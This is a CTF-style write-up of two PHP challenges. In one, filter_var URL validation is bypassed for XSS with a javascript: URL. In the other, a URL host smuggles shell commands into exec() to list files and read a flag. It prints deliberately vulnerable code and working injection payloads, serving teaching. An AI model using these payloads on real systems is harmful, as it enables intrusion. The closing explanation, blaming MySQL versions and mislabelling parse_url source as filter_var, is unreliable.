A Technical Discussion Prompted by PHP's filter_var()

Summary0x01 Background. I have been studying PHP Security Calendar 2017; this is Day 2, Twig: Can you spot the vulnerability? The challenge tests XSS. Most XSS occurs at output sinks such as echo $var when input is controllable and not adequately filtered…

0x01 Background

I have been working through PHP Security Calendar 2017; this is day two.

Day 2 - Twig

Can you spot the vulnerability?

TEXT
// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '<img ' .
      'src="https://loremflickr.com/320/240">' .
      '<a href="{{link|escape}}">Next slide »</a>';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new Twig\Loader\ArrayLoader([
      'index.html' => $indexTemplate
    ]);
    $this->twig = new Twig\Environment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this->twig->render(
      'index.html',
      ['link' => $this->getNexSlideUrl()]
    );
  }
}

(new Template())->render();

This challenge tests XSS. Most XSS arises at output sinks, for example echo $var when $var is controllable and unfiltered or insufficiently filtered.

Here, XSS occurs because code inside the tag is insufficiently filtered, allowing the javascript: pseudo-protocol.

0x02 Analysis

The code is short. It defines a Template class with three methods: __construct(), getNextSlideUrl(), and render().

__construct() loads the template, getNextSlideUrl() validates the URL, and render() outputs it. The key lies in two filters:

  • Twig's escape filter
  • filter_var() URL Validation

See Twig's official documentation for the escape filter:

escape uses the PHP native htmlspecialchars function for the HTML escaping strategy.

The escape filter is essentially a wrapper around htmlspecialchars; the underlying protection still comes from htmlspecialchars.

htmlspecialchars(string,flags,character-set,double_encode)

1.png
2.png

htmlspecialchars converts special characters to HTML entities. It can prevent some SQL injection and XSS attacks.

Some XSS payloads do not require special characters. Now examine filter_var():

filter_var(variable, filter, options)

3.png
TEXT
filter_var($nextSlide, FILTER_VALIDATE_URL);

The nextSlide value enters filter_var(), which checks whether it is a valid URL. URL validation has many bypasses. Because htmlspecialchars is also present, payloads requiring quotes or angle brackets are excluded.

The official solution is:

TEXT
?nextSlide=javascript://comment%250aalert(1)

NextSlide receives the value

TEXT
javascript://comment%250aalert(1)

Echoing this value inside the tag produces XSS through the following flow:

It first enters the <a> tag:

TEXT
<a href='javascript://comment%250aalert(1).'>Next slide »< /a>

// is the comment marker; %25 is a percent sign; % followed by 0a becomes a newline. This creates a standalone alert(1) line and executes alert successfully.

Figure 1
Figure 1

0x03 Example

TEXT
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
TEXT
?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

The challenge is difficult to understand without source, but obvious once the code is read.

Read the URL parameter from GET; it must satisfy filter_var's FILTER_VALIDATE_URL rules.

It must also contain a Linux command that exec() can use to read f1agi3hEre.php.

Many techniques bypass filter_var; see the references below.

The payload is:

TEXT
?url=hello://";ls;";sec-redclub.com/
Figure 2
Figure 2

The host value is clearly

TEXT
";ls;";sec-redclub.com

Combined with exec, the result is equivalent to:

TEXT
exec(ls,$result);
exec(sec-redclub.com,$result);
echo implode(' ', $result);

The final payload for reading the flag is:

TEXT
? url=hello://";cat<f1agi3hEre.php;";sec-redclub.com/
Figure 3
Figure 3

0x03 An Interesting Detail

Other solutions also appeared during testing, such as:

TEXT
?url=demo://%22;ls;%23;sec-redclub.com:80/

But local testing fails:

Figure 4
Figure 4

I suspected a PHP-version difference. My local system used PHP 7.1 while the blog used PHP 5.x, so I reproduced it on the blog:

Figure 5
Figure 5

The bypass succeeds. Why? The first suspect is the PHP built-in implementation, so inspect filter_var in PHP 5.x:

TEXT
/* {{{ proto mixed parse_url(string url, [int url_component])
   Parse a URL and return its components */

PHP_FUNCTION(parse_url)
{
        char *str;
        int str_len;
        php_url *resource;
        long key = -1;

        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l", &str, &str_len, &key) == FAILURE) {
                return;
        }

        resource = php_url_parse_ex(str, str_len);
        if (resource == NULL) {
                /* @todo Find a method to determine why php_url_parse_ex() failed */
                RETURN_FALSE;
        }

        if (key > -1) {
                switch (key) {
                        case PHP_URL_SCHEME:
                                if (resource->scheme != NULL) RETVAL_STRING(resource->scheme, 1);
                                break;
                        case PHP_URL_HOST:
                                if (resource->host != NULL) RETVAL_STRING(resource->host, 1);
                                break;
                        case PHP_URL_PORT:
                                if (resource->port != 0) RETVAL_LONG(resource->port);
                                break;
                        case PHP_URL_USER:
                                if (resource->user != NULL) RETVAL_STRING(resource->user, 1);
                                break;
                        case PHP_URL_PASS:
                                if (resource->pass != NULL) RETVAL_STRING(resource->pass, 1);
                                break;
                        case PHP_URL_PATH:
                                if (resource->path != NULL) RETVAL_STRING(resource->path, 1);
                                break;
                        case PHP_URL_QUERY:
                                if (resource->query != NULL) RETVAL_STRING(resource->query, 1);
                                break;
                        case PHP_URL_FRAGMENT:
                                if (resource->fragment != NULL) RETVAL_STRING(resource->fragment, 1);
                                break;
                        default:
                                php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid URL component identifier %ld", key);
                                RETVAL_FALSE;
                }
                goto done;
        }

        /* allocate an array for return */
        array_init(return_value);

    /* add the various elements to the array */
        if (resource->scheme != NULL)
                add_assoc_string(return_value, "scheme", resource->scheme, 1);
        if (resource->host != NULL)
                add_assoc_string(return_value, "host", resource->host, 1);
        if (resource->port != 0)
                add_assoc_long(return_value, "port", resource->port);
        if (resource->user != NULL)
                add_assoc_string(return_value, "user", resource->user, 1);
        if (resource->pass != NULL)
                add_assoc_string(return_value, "pass", resource->pass, 1);
        if (resource->path != NULL)
                add_assoc_string(return_value, "path", resource->path, 1);
        if (resource->query != NULL)
                add_assoc_string(return_value, "query", resource->query, 1);
        if (resource->fragment != NULL)
                add_assoc_string(return_value, "fragment", resource->fragment, 1);
done:
        php_url_free(resource);
}
/* }}} */

The PHP 7.1 implementation of filter_var is:

TEXT
* {{{ proto mixed parse_url(string url, [int url_component])
   Parse a URL and return its components */

PHP_FUNCTION(parse_url)
{
        char *str;
        size_t str_len;
        php_url *resource;
        zend_long key = -1;

        if (zend_parse_parameters(ZEND_NUM_ARGS(), "s|l", &str, &str_len, &key) == FAILURE) {
                return;
        }

        resource = php_url_parse_ex(str, str_len);
        if (resource == NULL) {
                /* @todo Find a method to determine why php_url_parse_ex() failed */
                RETURN_FALSE;
        }

        if (key > -1) {
                switch (key) {
                        case PHP_URL_SCHEME:
                                if (resource->scheme != NULL) RETVAL_STRING(resource->scheme);
                                break;
                        case PHP_URL_HOST:
                                if (resource->host != NULL) RETVAL_STRING(resource->host);
                                break;
                        case PHP_URL_PORT:
                                if (resource->port != 0) RETVAL_LONG(resource->port);
                                break;
                        case PHP_URL_USER:
                                if (resource->user != NULL) RETVAL_STRING(resource->user);
                                break;
                        case PHP_URL_PASS:
                                if (resource->pass != NULL) RETVAL_STRING(resource->pass);
                                break;
                        case PHP_URL_PATH:
                                if (resource->path != NULL) RETVAL_STRING(resource->path);
                                break;
                        case PHP_URL_QUERY:
                                if (resource->query != NULL) RETVAL_STRING(resource->query);
                                break;
                        case PHP_URL_FRAGMENT:
                                if (resource->fragment != NULL) RETVAL_STRING(resource->fragment);
                                break;
                        default:
                                php_error_docref(NULL, E_WARNING, "Invalid URL component identifier " ZEND_LONG_FMT, key);
                                RETVAL_FALSE;
                }
                goto done;
        }

        /* allocate an array for return */
        array_init(return_value);

    /* add the various elements to the array */
        if (resource->scheme != NULL)
                add_assoc_string(return_value, "scheme", resource->scheme);
        if (resource->host != NULL)
                add_assoc_string(return_value, "host", resource->host);
        if (resource->port != 0)
                add_assoc_long(return_value, "port", resource->port);
        if (resource->user != NULL)
                add_assoc_string(return_value, "user", resource->user);
        if (resource->pass != NULL)
                add_assoc_string(return_value, "pass", resource->pass);
        if (resource->path != NULL)
                add_assoc_string(return_value, "path", resource->path);
        if (resource->query != NULL)
                add_assoc_string(return_value, "query", resource->query);
        if (resource->fragment != NULL)
                add_assoc_string(return_value, "fragment", resource->fragment);
done:
        php_url_free(resource);
}

The main changes are:

11.png

The trailing parameter in RETVAL_STRING(..., 1) was removed. What effect does that have? The official documentation explains:

Figure 6 Figure 7 Figure 8

strdup() is a common C library function that copies a string into newly allocated storage.

Returning to the original question: does the extra 1 affect filter_var?

My result is that it has no effect.

RETVAL_STRING(..., 1) can become RETVAL_STRING(...), while RETVAL_STRING(..., 0) can become RETVAL_STRING(...); efree(...). The difference is whether the string is reallocated.

What causes the same payload to behave differently? Check the local MySQL version: Figure 9

version 8.0.

The preliminary conclusion is that the MySQL version is responsible.

I also built it in a virtual machine with MySQL 5.5:

Figure 10
Figure 10

The environment is Windows, so ls has no visible effect. filter_var was clearly bypassed; otherwise it would fail as on my local machine.

TEXT
Error: Host not allowed

Locally, replace the # comment marker with --:

Figure 11
Figure 11

The bypass also succeeds, though it is unclear why the directory listing is absent. Readers can test whether the different result comes from the MySQL version or another cause. I did not have time to investigate further; additional findings are welcome.

0x04 References

Executing Multiple Shell Commands in PHP Zend API: Inside the PHP Core php-src: RETVAL_STRINGL

parse_url Explanation and Bypasses

PHP-Audit-Labs

PHP Extension Development, Part 2